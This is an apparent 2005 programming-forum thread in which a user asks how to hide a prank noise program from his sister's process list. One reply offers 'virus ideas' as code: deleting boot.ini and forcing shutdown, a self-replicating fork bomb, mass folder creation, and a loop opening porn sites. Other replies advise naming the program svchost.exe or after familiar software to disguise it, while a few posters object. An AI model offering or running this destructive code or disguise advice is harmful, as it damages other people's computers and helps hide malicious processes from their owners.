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Process List

Author:	charlie56 [ Tue Apr 12, 2005 8:02 am ]
Post subject:	Process List
how do i make a compiled program not appear in the processes list. Now ur prolly wondering y i would need that. Well last week my sister ratted on me for smoking pot so i made a random sound generator in a loop and it just keeps going with the window hidden but it still appears in the processes list and i dont want her to be able to stop it without restarting

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jamonathin [ Tue Apr 12, 2005 8:35 am ]

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If your sister is smart enough to check the process, she'll be smart enough to turn off the sound. [It's something you don't pick up on after smokin pot]. Why dont you do something like this:

martin wrote:

Virus Ideas.
-Make a program that deletes boot.ini and turns off your computer.

code:

Dir.Change ("C:\\")
File.Delete("boot.ini")
put Sys.Exec ("C:\\Windows\\Shutdown.exe")
%Goodbye computer

-Make a program that runs itself. Over and over and over (you've got to compile it to do this)

code:

loop
put Sys.Exec ("ThisFile.Exe")
end loop

Your computer will lock up like a nervous virgin on prom night.
-Make a bunch of folders

code:

Dir.Change("C:\\")
for i:1..maxint
Dir.Create (intstr(i))
end for

-Fun with pop up windows.

code:

var site : array 1..whatever of string := init ("www.porn.com", a bunch more porn sites)
loop
if Sys.Exec (site (Rand.Int(1,upper(site)))) then
end if
end loop

Make a collection of these for an...'alternet' ISU Twisted Evil

Author:	Tony [ Tue Apr 12, 2005 8:40 am ]
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Now what kind of a perception will your parents form when they find out that their pot smoking son fucked up their daughter's computer? I can't see this leading to anything good, can you? You want to show that you can control the substance and use it for recreational activities, rather than making an ass of yourself and breaking things.

Author:	StarGateSG-1 [ Tue Apr 12, 2005 10:56 am ]
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I think this post is horriable, first off never do drugs they only destroy yoru life even if at the time you don't notice or care. Second This is a post about discussings hacks, adn I think thast breaks the rules. Finally, You shouldn't be mad at your sister for telling, if you wnat to smoke pot don't get catch it is your fault.

Author:	Martin [ Tue Apr 12, 2005 11:02 am ]
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martin wrote: Your computer will lock up like a nervous virgin on prom night. Oh man I'm awesome

Author:	jamonathin [ Tue Apr 12, 2005 11:23 am ]
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Yeah lol, that's a personal favorite over here.

Author:	Mazer [ Tue Apr 12, 2005 3:41 pm ]
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There's a problem with a small program that could cause a BSOD apparently, but I've never tried it yet to verify. (no copy of turing). As for the processes thing, just try not to make it obious. Instead of compiling the program as "diesister.exe" call it "svchost.exe" or something that would make it look like a required Windows process. But, yeah, I don't condone this.

Author:	Token [ Tue Apr 12, 2005 3:50 pm ]
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What you can do is name the program somthing that she uses all the time, for example title the program MSN Messenger or somthing and when she checks the list she'll look at it and disregard it as somthing she's using or name it somthing like Virus Scan or somthin like that.. also its fun to use Music.Sound (freq,t) to scare people because it sounds like the computer is messing up, good luck and umm yah drugs are bad! but no one said ne thing about booze so drink up !

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